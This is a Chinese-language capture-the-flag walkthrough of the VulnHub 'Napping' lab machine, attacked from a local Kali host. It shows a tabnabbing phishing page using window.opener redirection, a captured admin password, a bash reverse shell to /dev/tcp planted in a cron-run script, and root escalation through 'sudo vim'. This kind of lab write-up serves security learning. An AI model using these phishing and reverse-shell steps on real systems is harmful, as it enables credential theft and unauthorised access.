基本信息
靶机下载:https://download.vulnhub.com/napping/napping-1.0.1.ova
攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)
提示信息:甚至管理员也可以在工作中睡着
靶机:192.168.20.0/24
目标:获取2个flag+root权限
具体流程
信息收集
老样子首先使用arp-scan -l
对主机进行探活,发现主机IP为192.168.20.143
之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.143
开放端口为22和80,重点关注80端口即可,浏览器访问80端口
我们首先扫一下目录,看看能不能有什么发现
但是这几个页面都没有啥用,我们先试着注册一个用户登录进去,看看能不能有什么新的发现吧
这里有一个框可以输入网址,当我们输入网址后,点击下面的here可以直接跳转,如下所示
这里我们可以联想到ssrf漏洞,因为服务器会去请求我们给的资源地址,我们只需要构造恶意的文件地址,但是由于管理员会检查我们提交的URL,我看了一下WP,利用了一种我从来没听过的漏洞,在这里记录一下,也算当作学习了,这个漏洞的名字叫做tabnabbing
tabnabbing漏洞利用
漏洞原理介绍
tabnabbing漏洞是一种钓鱼攻击漏洞,即反向标签劫持攻击,大致原理就是黑客通过某种方法在页面A中植入一个a标签,也就是一个超链接,即和我们本题中的输入框类似,链接我们认为的控制为我们精心准备的页面B,页面B的内容中有一个JavaScript代码,内容就是window.opener.location=“C页面的链接”
,这句话的意思就是如果用户点击了该链接,就会自动跳转到C页面上,而C页面就是我们准备的和A页面一样的钓鱼页面,并且此时管理员并未发现A页面变成了C页面,进而继续在C页面上输入敏感信息,进而导致信息的泄露
操作步骤
首先我们制作一个和原本页面一致的钓鱼页面,我们这里采取kali自带的setookit
进行钓鱼网页的制作,具体步骤如下所示
我们这里直接克隆了一个和其登录界面一致的钓鱼网页,这个时候我们在我们主机的web目录下创建一个html文件,代码如下
<html>
<title>B页面</title>
<body>
<script>
if (window.opener) {
window.opener.location = "http://192.168.20.138/";
}else{alert("跳转失败");}
</script>
</body>
</html>
接着把地址放到输入框中,点击here,如下所示
然后我们的监听端口返回了一串数据,就是admin登录这个界面的账号和密码,如下所示
账号:daniel
密码:C@ughtm3napping123
这里刚好对应上了本题的提示,管理员有时也会打盹,即管理员不够细心,未发现自己的登录界面已被钓鱼页面替换,所以我们的思路是正确的,我们使用xshell进行连接,猜测其进行了账号密码复用,由于开放了22号端口,所以我们直接尝试连接其服务器,如下所示
权限提升
首先还是去把linpeas.sh
下载下来,使用wget http://192.168.20.1/linpeas.sh
我们执行linpeas.sh
,看看能否为我们找到有用的信息,但是结果并没有什么可以利用的点,系统内核并没有什么太大的问题,我们接下来试试suid提权,sudo -l
我查看过了,但是显示的是当前用户没有sudo权限,所以我们这里还是试一试suid提权,执行下述命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
####三种命令都可以
但是也并没有发现我们常用的suid提权方法,这个时候我们发现home目录下还有一个用户adrian
,我们试着切换到另外一个用户目录下,并且尝试密码复用
但是不幸的是,这里没有出现密码复用,所以我们只能用其他办法进入adrian用户,但是我们可以查看adrian用户下的目录,同时发现了第一个flag,但是现在目前无法打开,我们去看看其他两个文件
######## query.py ###############
from datetime import datetime
import requests
now = datetime.now()
r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
f = open("site_status.txt","a")
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
f.write("Site is Up: ")
f.write(dt_string)
f.write("\n")
f.close()
else:
f = open("site_status.txt","a")
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
f.write("Check Out Site: ")
f.write(dt_string)
f.write("\n")
f.close()
通过这两个文件,我们可以发现这是一个定时任务,每2分钟执行一次query.py
,所以我们只需要在这里面添加执行反弹shell的语句即可,我们首先在/tmp
目录下创建一个shell.sh
文件
#! /bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.20.138/9001 0>&1'
接下来我们等几分钟,看看是否能够成功反弹shell
成功以adrian
用户登录上,接下来我们直接进行sudo提权,接着以上面的步骤进行
我们发现可以通过vim进行root提权,我们直接输入sudo vim -c ':!/bin/sh'
即可获得root权限
我们也成功在root根目录下找到了root.txt
总结
- tabnabbing漏洞利用
- 利用定时任务进行反弹shell获取其他用户组权限
- sudo vim 提权